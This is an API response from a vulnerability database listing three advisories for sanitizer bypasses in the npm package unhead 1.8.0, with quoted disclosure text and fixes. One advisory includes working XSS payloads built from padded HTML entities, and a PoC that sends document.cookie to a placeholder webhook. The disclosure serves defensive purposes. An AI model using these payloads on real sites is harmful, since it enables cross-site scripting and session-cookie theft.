Lookup for vulnerable packages by Package URL.

GET /api/packages/983264?format=api
HTTP 200 OK
Allow: GET, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "url": "http://public2.vulnerablecode.io/api/packages/983264?format=api",
    "purl": "pkg:npm/unhead@1.8.0",
    "type": "npm",
    "namespace": "",
    "name": "unhead",
    "version": "1.8.0",
    "qualifiers": {},
    "subpath": "",
    "is_vulnerable": true,
    "next_non_vulnerable_version": "2.1.13",
    "latest_non_vulnerable_version": "3.0.1",
    "affected_by_vulnerabilities": [
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50912?format=api",
            "vulnerability_id": "VCID-8v63-dazs-suey",
            "summary": "Unhead has XSS bypass in `useHeadSafe` via attribute name injection and case-sensitive protocol check\n`useHeadSafe()` can be bypassed to inject arbitrary HTML attributes, including event handlers, into SSR-rendered `<head>` tags. This is the composable that Nuxt docs recommend for safely handling user-generated content.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-31860",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.0002",
                            "scoring_system": "epss",
                            "scoring_elements": "0.0558",
                            "published_at": "2026-06-08T12:55:00Z"
                        },
                        {
                            "value": "0.0002",
                            "scoring_system": "epss",
                            "scoring_elements": "0.05622",
                            "published_at": "2026-06-07T12:55:00Z"
                        },
                        {
                            "value": "0.0002",
                            "scoring_system": "epss",
                            "scoring_elements": "0.05621",
                            "published_at": "2026-06-06T12:55:00Z"
                        },
                        {
                            "value": "0.0002",
                            "scoring_system": "epss",
                            "scoring_elements": "0.05635",
                            "published_at": "2026-06-05T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-31860"
                },
                {
                    "reference_url": "https://github.com/unjs/unhead",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/unjs/unhead"
                },
                {
                    "reference_url": "https://github.com/unjs/unhead/commit/9ecc4f9568b0e23938f36d4b23fcfa4a18a89045",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/unjs/unhead/commit/9ecc4f9568b0e23938f36d4b23fcfa4a18a89045"
                },
                {
                    "reference_url": "https://github.com/unjs/unhead/releases/tag/v2.1.11",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/unjs/unhead/releases/tag/v2.1.11"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31860",
                    "reference_id": "CVE-2026-31860",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31860"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-g5xx-pwrp-g3fv",
                    "reference_id": "GHSA-g5xx-pwrp-g3fv",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-g5xx-pwrp-g3fv"
                },
                {
                    "reference_url": "https://github.com/unjs/unhead/security/advisories/GHSA-g5xx-pwrp-g3fv",
                    "reference_id": "GHSA-g5xx-pwrp-g3fv",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-13T16:26:47Z/"
                        }
                    ],
                    "url": "https://github.com/unjs/unhead/security/advisories/GHSA-g5xx-pwrp-g3fv"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/74869?format=api",
                    "purl": "pkg:npm/unhead@2.1.11",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-g2xw-yvr7-2kd3"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/unhead@2.1.11"
                }
            ],
            "aliases": [
                "CVE-2026-31860",
                "GHSA-g5xx-pwrp-g3fv"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-8v63-dazs-suey"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/91807?format=api",
            "vulnerability_id": "VCID-fh6v-d8rt-9kg5",
            "summary": "Unhead Vulnerable to Bypass of URI Scheme Sanitization in makeTagSafe via Case-Sensitivity\nThe `link.href` check in `makeTagSafe` (safe.ts, line 68-71) uses `String.includes()`, which is case-sensitive:\n\n```typescript\nif (key === 'href') {\n  if (val.includes('javascript:') || val.includes('data:')) {\n    return\n  }\n  next[key] = val\n}\n```\n\nBrowsers treat URI schemes case-insensitively. `DATA:text/css,...` is the same as `data:text/css,...` to the browser, but `'DATA:...'.includes('data:')` returns `false`.\n\n### PoC\n\n```javascript\nuseHeadSafe({\n  link: [{\n    rel: 'stylesheet',\n    href: 'DATA:text/css,body{display:none}'\n  }]\n})\n```\n\nSSR output:\n\n```html\n<link rel=\"stylesheet\" href=\"DATA:text/css,body{display:none}\">\n```\n\nThe browser loads this as a CSS stylesheet. An attacker can inject arbitrary CSS for UI redressing or data exfiltration via CSS attribute selectors with background-image callbacks.\n\nAny case variation works: `DATA:`, `Data:`, `dAtA:`, `JAVASCRIPT:`, etc.\n\n## Suggested fix\n\n```typescript\nif (key === 'href') {\n  const lower = val.toLowerCase()\n  if (lower.includes('javascript:') || lower.includes('data:')) {\n    return\n  }\n  next[key] = val\n}\n```",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-31873",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.0002",
                            "scoring_system": "epss",
                            "scoring_elements": "0.05689",
                            "published_at": "2026-06-05T12:55:00Z"
                        },
                        {
                            "value": "0.0002",
                            "scoring_system": "epss",
                            "scoring_elements": "0.05634",
                            "published_at": "2026-06-08T12:55:00Z"
                        },
                        {
                            "value": "0.0002",
                            "scoring_system": "epss",
                            "scoring_elements": "0.05675",
                            "published_at": "2026-06-07T12:55:00Z"
                        },
                        {
                            "value": "0.0002",
                            "scoring_system": "epss",
                            "scoring_elements": "0.05674",
                            "published_at": "2026-06-06T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-31873"
                },
                {
                    "reference_url": "https://github.com/unjs/unhead",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.0",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N"
                        },
                        {
                            "value": "LOW",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/unjs/unhead"
                },
                {
                    "reference_url": "https://github.com/unjs/unhead/releases/tag/v2.1.11",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.0",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N"
                        },
                        {
                            "value": "LOW",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/unjs/unhead/releases/tag/v2.1.11"
                },
                {
                    "reference_url": "https://github.com/unjs/unhead/security/advisories/GHSA-5339-hvwr-7582",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N"
                        },
                        {
                            "value": "0.0",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N"
                        },
                        {
                            "value": "LOW",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "LOW",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-12T17:46:23Z/"
                        }
                    ],
                    "url": "https://github.com/unjs/unhead/security/advisories/GHSA-5339-hvwr-7582"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31873",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.0",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N"
                        },
                        {
                            "value": "LOW",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31873"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-5339-hvwr-7582",
                    "reference_id": "GHSA-5339-hvwr-7582",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "LOW",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-5339-hvwr-7582"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/74869?format=api",
                    "purl": "pkg:npm/unhead@2.1.11",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-g2xw-yvr7-2kd3"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/unhead@2.1.11"
                }
            ],
            "aliases": [
                "CVE-2026-31873",
                "GHSA-5339-hvwr-7582"
            ],
            "risk_score": 1.4,
            "exploitability": "0.5",
            "weighted_severity": "2.7",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-fh6v-d8rt-9kg5"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/89790?format=api",
            "vulnerability_id": "VCID-g2xw-yvr7-2kd3",
            "summary": "Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()\n##EVIDENCE\n\n<img width=\"1900\" height=\"855\" alt=\"Screenshot_2026-03-25_090729\" src=\"https://github.com/user-attachments/assets/3da93464-1caf-46ca-818f-46f8fe32ab50\" />\n<img width=\"1919\" height=\"947\" alt=\"Screenshot_2026-03-25_090715\" src=\"https://github.com/user-attachments/assets/b27b1fc3-fa89-4864-99c9-4e6cff9a4e40\" />\n<img width=\"1918\" height=\"925\" alt=\"Screenshot_2026-03-25_090759\" src=\"https://github.com/user-attachments/assets/9b8c94fa-d4f7-412e-ba14-214bc4103f4c\" />\n<img width=\"1912\" height=\"812\" alt=\"Screenshot_2026-03-25_090824\" src=\"https://github.com/user-attachments/assets/3a4e1002-8811-453a-b08c-dfd1e42ebcf0\" />\n<img width=\"1846\" height=\"409\" alt=\"Screenshot_2026-03-22_090617\" src=\"https://github.com/user-attachments/assets/9a595e13-ed18-464a-9d1a-0bb71dec96c9\" />\n\n\n| **Disclosed to Vercel H1** | 2026-03-22 (no response after 12 days) |\n| **Cross-reported here** | 2026-04-03 |\n\n---\n\n## Summary\n\n`useHeadSafe()` is the composable that Nuxt's own documentation explicitly recommends\nfor rendering user-supplied content in `<head>` safely. Internally, the\n`hasDangerousProtocol()` function in `packages/unhead/src/plugins/safe.ts` decodes\nHTML entities before checking for blocked URI schemes (`javascript:`, `data:`,\n`vbscript:`). The decoder uses two regular expressions with fixed-width digit caps:\n\n```js\n// Current — vulnerable\nconst HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi\nconst HtmlEntityDec = /&#(\\d{1,7});?/g\n```\n\nThe HTML5 specification imposes **no limit** on leading zeros in numeric character\nreferences. Both of the following are valid, spec-compliant encodings of `:` (U+003A):\n\n- `&#0000000058;` — 10 decimal digits, exceeds the `\\d{1,7}` cap\n- `&#x000003A;` — 7 hex digits, exceeds the `[0-9a-f]{1,6}` cap\n\nWhen a padded entity exceeds the regex digit cap, the decoder silently skips it. The\nundecoded string is then passed to `startsWith('javascript:')`, which does not match.\n`makeTagSafe()` writes the raw value directly into SSR HTML output. The browser's HTML\nparser decodes the padded entity natively and constructs the blocked URI.\n\n> **Note:** This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv,\n> which was an attribute *key* injection via the `data-*` prefix. This finding targets\n> the attribute *value* decoder — a different code path with a different root cause and\n> a different fix.\n\n---\n\n## Root Cause Analysis\n\n### Vulnerable code (`packages/unhead/src/plugins/safe.ts`, lines 10–11)\n\n```js\nconst HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi   // cap: 6 hex digits max\nconst HtmlEntityDec = /&#(\\d{1,7});?/g             // cap: 7 decimal digits max\n```\n\n### Why the bypass works\n\nThe HTML5 parser specification ([§ Numeric character reference end state][html5-spec])\nstates that leading zeros in numeric character references are valid and the number of\ndigits is unbounded. A conformant browser will decode `&#x000003A;` as `:` regardless\nof the number of leading zeros.\n\nBecause the regex caps are lower than the digit counts an attacker can supply, the\nentity match fails silently. The raw padded string (`java&#0000000058;script:alert(1)`)\nis passed unchanged to the scheme check. `startsWith('javascript:')` returns `false`,\nand the value is rendered into SSR output verbatim. The browser then decodes the entity\nand the blocked scheme is present in the live DOM.\n\n---\n\n## Steps to Reproduce\n\n### Environment\n\n- **Nuxt:** 4.x (current)\n- **unhead:** 2.1.12 (current at time of report)\n- **Node:** 20 LTS\n- **Chrome:** 146+\n\n### Step 1 — Create a fresh Nuxt 4 project\n\n```bash\nnpx nuxi init poc\ncd poc\nnpm install\n```\n\n### Step 2 — Replace `pages/index.vue`\n\n```vue\n<template>\n  <div>\n    <h1>useHeadSafe bypass PoC</h1>\n    <p>View page source or run the curl command below.</p>\n  </div>\n</template>\n\n<script setup>\nimport { useHeadSafe } from '#imports'\n\nuseHeadSafe({\n  link: [\n    // 10-digit decimal padding — exceeds \\d{1,7} cap\n    { rel: 'stylesheet', href: 'java&#0000000058;script:alert(1)' },\n\n    // 7-digit hex padding — exceeds [0-9a-f]{1,6} cap\n    { rel: 'icon', href: 'data&#x000003A;text/html,<script>alert(document.cookie)<\\/script>' }\n  ]\n})\n</script>\n```\n\n### Step 3 — Start the dev server and inspect SSR output\n\n```bash\nnpm run dev\n```\n\nIn a separate terminal:\n\n```bash\ncurl -s http://localhost:3000 | grep '<link'\n```\n\n### Expected result (safe)\n\nTags stripped entirely, or schemes rewritten to safe placeholder values.\n\n### Actual result (vulnerable)\n\n```html\n<link href=\"java&#0000000058;script:alert(1)\" rel=\"stylesheet\">\n<link href=\"data&#x000003A;text/html,<script>alert(document.cookie)<\\/script>\" rel=\"icon\">\n```\n\nBoth `javascript:` and `data:` — explicitly enumerated in the `hasDangerousProtocol()`\nblocklist — are present in server-rendered HTML. The browser decodes the padded entities\nnatively on load.\n\n---\n\n## Confirmed Execution Path (data: URI via iframe, Chrome 146+)\n\nImmediate script execution from `<link>` tags does not occur automatically — browsers\ndo not create a browsing context from `<link href>`. The exploitability of this bypass\ntherefore depends on whether downstream application code consumes `<link>` href values.\n\nThis is a **common pattern** in real-world Nuxt applications:\n\n- Head management libraries that hydrate or re-process `<link>` tags on the client\n- SEO and analytics scripts that read canonical or icon link values\n- Application features that preview, validate, or forward link URLs into iframes\n- Developer tooling that loads icon URLs for thumbnail generation\n\nChrome 146+ permits `data:` URIs loaded into iframes even though top-level `data:`\nnavigation has been blocked since Chrome 60. The following snippet — representative\nof any downstream consumer that forwards `<link href>` into an iframe — triggers\nconfirmed script execution:\n\n```js\n// Simulates downstream head-management or SEO utility reading a <link> href\nconst link = document.querySelector('link[rel=\"icon\"]');\nif (link) {\n  const iframe = document.createElement('iframe');\n  iframe.src = link.href; // browser decodes &#x000003A; → ':', constructs data: URI\n  document.body.appendChild(iframe); // alert() fires\n}\n```\n\n### Full PoC with cookie exfiltration beacon\n\n> Replace `ADD-YOUR-WEBHOOK-URL-HERE` with a webhook.site URL before running.\n\n```vue\n<template>\n  <div>\n    <h1>useHeadSafe padded entity bypass — full PoC</h1>\n    <p><strong>Dummy cookie:</strong> <code id=\"cookie-display\">Loading…</code></p>\n  </div>\n</template>\n\n<script setup>\nimport { useHeadSafe } from '#imports'\nimport { onMounted } from 'vue'\n\nonMounted(() => {\n  document.cookie = 'session=super-secret-token-12345; path=/; SameSite=None'\n  const el = document.getElementById('cookie-display')\n  if (el) el.textContent = document.cookie\n\n  // Simulate downstream consumption: load the bypassed icon href into an iframe\n  const link = document.querySelector('link[rel=\"icon\"]')\n  if (link) {\n    const iframe = document.createElement('iframe')\n    iframe.src = link.href\n    iframe.style.cssText = 'width:700px;height:400px;border:3px solid red;margin-top:20px'\n    document.body.appendChild(iframe)\n  }\n})\n\nconst webhook = 'https://ADD-YOUR-WEBHOOK-URL-HERE'\n\nuseHeadSafe({\n  link: [\n    {\n      rel: 'icon',\n      href: `data&#x000003A;text/html;base64,${btoa(`\n        <!DOCTYPE html><html><body><script>\n          alert('XSS via useHeadSafe padded entity bypass');\n          new Image().src = '${webhook}?d=' + encodeURIComponent(JSON.stringify({\n            finding: 'useHeadSafe hasDangerousProtocol bypass',\n            cookie: document.cookie || 'session=super-secret-token-12345 (dummy)',\n            origin: location.origin,\n            ts: Date.now()\n          }));\n        <\\/script></body></html>\n      `)}`\n    }\n  ]\n})\n</script>\n```\n\n**Observed result:**\n\n1. `alert()` fires from inside the iframe's `data:` document context\n2. Webhook receives a GET request with the cookie value and origin in the query string\n3. Page source confirms `&#x000003A;` is present unescaped in the SSR-rendered `<link>` tag\n\n> All testing was performed against a local Nuxt development environment on a personal\n> machine. Cookie values are dummy data. No production systems were accessed or targeted.\n\n---\n\n## Impact\n\n### 1. Broken security contract\n\nDevelopers who follow Nuxt's own documentation and use `useHeadSafe()` for untrusted\nuser input have no reliable protection against `javascript:`, `data:`, or `vbscript:`\nscheme injection when that input contains leading-zero padded numeric character\nreferences. The documented guarantee is silently violated.\n\n### 2. Confirmed data: URI escape to SSR output\n\nA fully valid `data:text/html` URI now reaches server-rendered HTML. In applications\nwhere any downstream code reads and loads `<link href>` values (head management\nutilities, SEO tooling, icon preview features), this is **confirmed XSS** — the payload\npersists in SSR output and executes for every visitor whose browser triggers the\ndownstream consumption path.\n\n### 3. Forward exploitability\n\nIf any navigation-context attribute (e.g. `<a href>`, `<form action>`) is added to the\nsafe attribute whitelist in a future release, this bypass produces **immediately\nexploitable stored XSS** with no additional attacker effort, because the end-to-end\nbypass already works today.\n\n---\n\n## Suggested Fix\n\nRemove the fixed digit caps from both entity regexes. The downstream `safeFromCodePoint()`\nfunction already validates that decoded codepoints fall within the valid Unicode range\n(`> 0x10FFFF || < 0 || isNaN → ''`), so unbounded digit matching introduces no new\nattack surface — it only ensures that all spec-compliant encodings of a codepoint are\ndecoded before the scheme check runs.\n\n```diff\n- const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi\n- const HtmlEntityDec = /&#(\\d{1,7});?/g\n+ const HtmlEntityHex = /&#x([0-9a-f]+);?/gi\n+ const HtmlEntityDec = /&#(\\d+);?/g\n```\n\n**File:** `packages/unhead/src/plugins/safe.ts`, lines 10–11\n\nThis is a minimal, low-risk change. No other code in the call path requires modification.\n\n---\n\n## Weaknesses\n\n| CWE | Description |\n|---|---|\n| **CWE-184** | Incomplete List of Disallowed Inputs |\n| **CWE-116** | Improper Encoding or Escaping of Output |\n| **CWE-20** | Improper Input Validation |\n\n---\n\n## References\n\n| Source | Link |\n|---|---|\n| HTML5 spec — leading zeros valid and unbounded | https://html.spec.whatwg.org/multipage/syntax.html#numeric-character-reference-end-state |\n| GHSA-46fp-8f5p-pf2c — Loofah `allowed_uri?` bypass (same root cause, accepted CVE) | https://github.com/advisories/GHSA-46fp-8f5p-pf2c |\n| CVE-2026-26022 — Gogs stored XSS via `data:` URI sanitizer bypass (same class) | https://advisories.gitlab.com/pkg/golang/gogs.io/gogs/CVE-2026-26022/ |\n| OWASP XSS Filter Evasion — leading-zero entity encoding | https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html |\n| Chrome: `data:` URIs blocked for top-level navigation since Chrome 60; permitted in iframes | https://developer.chrome.com/blog/data-url-deprecations |\n| Prior unhead advisory (different code path, context only) | GHSA-g5xx-pwrp-g3fv / CVE-2026-31860 |\n| Affected file | https://github.com/unjs/unhead/blob/main/packages/unhead/src/plugins/safe.ts |",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-39315",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.00089",
                            "scoring_system": "epss",
                            "scoring_elements": "0.25358",
                            "published_at": "2026-06-08T12:55:00Z"
                        },
                        {
                            "value": "0.00089",
                            "scoring_system": "epss",
                            "scoring_elements": "0.25416",
                            "published_at": "2026-06-07T12:55:00Z"
                        },
                        {
                            "value": "0.00089",
                            "scoring_system": "epss",
                            "scoring_elements": "0.25463",
                            "published_at": "2026-06-06T12:55:00Z"
                        },
                        {
                            "value": "0.00089",
                            "scoring_system": "epss",
                            "scoring_elements": "0.25477",
                            "published_at": "2026-06-05T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-39315"
                },
                {
                    "reference_url": "https://github.com/unjs/unhead",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/unjs/unhead"
                },
                {
                    "reference_url": "https://github.com/unjs/unhead/commit/961ea781e091853812ffe17f8cda17105d2d2299",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-13T15:28:38Z/"
                        }
                    ],
                    "url": "https://github.com/unjs/unhead/commit/961ea781e091853812ffe17f8cda17105d2d2299"
                },
                {
                    "reference_url": "https://github.com/unjs/unhead/releases/tag/v2.1.13",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-13T15:28:38Z/"
                        }
                    ],
                    "url": "https://github.com/unjs/unhead/releases/tag/v2.1.13"
                },
                {
                    "reference_url": "https://github.com/unjs/unhead/security/advisories/GHSA-95h2-gj7x-gx9w",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-13T15:28:38Z/"
                        }
                    ],
                    "url": "https://github.com/unjs/unhead/security/advisories/GHSA-95h2-gj7x-gx9w"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39315",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39315"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-95h2-gj7x-gx9w",
                    "reference_id": "GHSA-95h2-gj7x-gx9w",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-95h2-gj7x-gx9w"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/110993?format=api",
                    "purl": "pkg:npm/unhead@2.1.13",
                    "is_vulnerable": false,
                    "affected_by_vulnerabilities": [],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/unhead@2.1.13"
                }
            ],
            "aliases": [
                "CVE-2026-39315",
                "GHSA-95h2-gj7x-gx9w"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-g2xw-yvr7-2kd3"
        }
    ],
    "fixing_vulnerabilities": [],
    "risk_score": "3.1",
    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/unhead@1.8.0"
}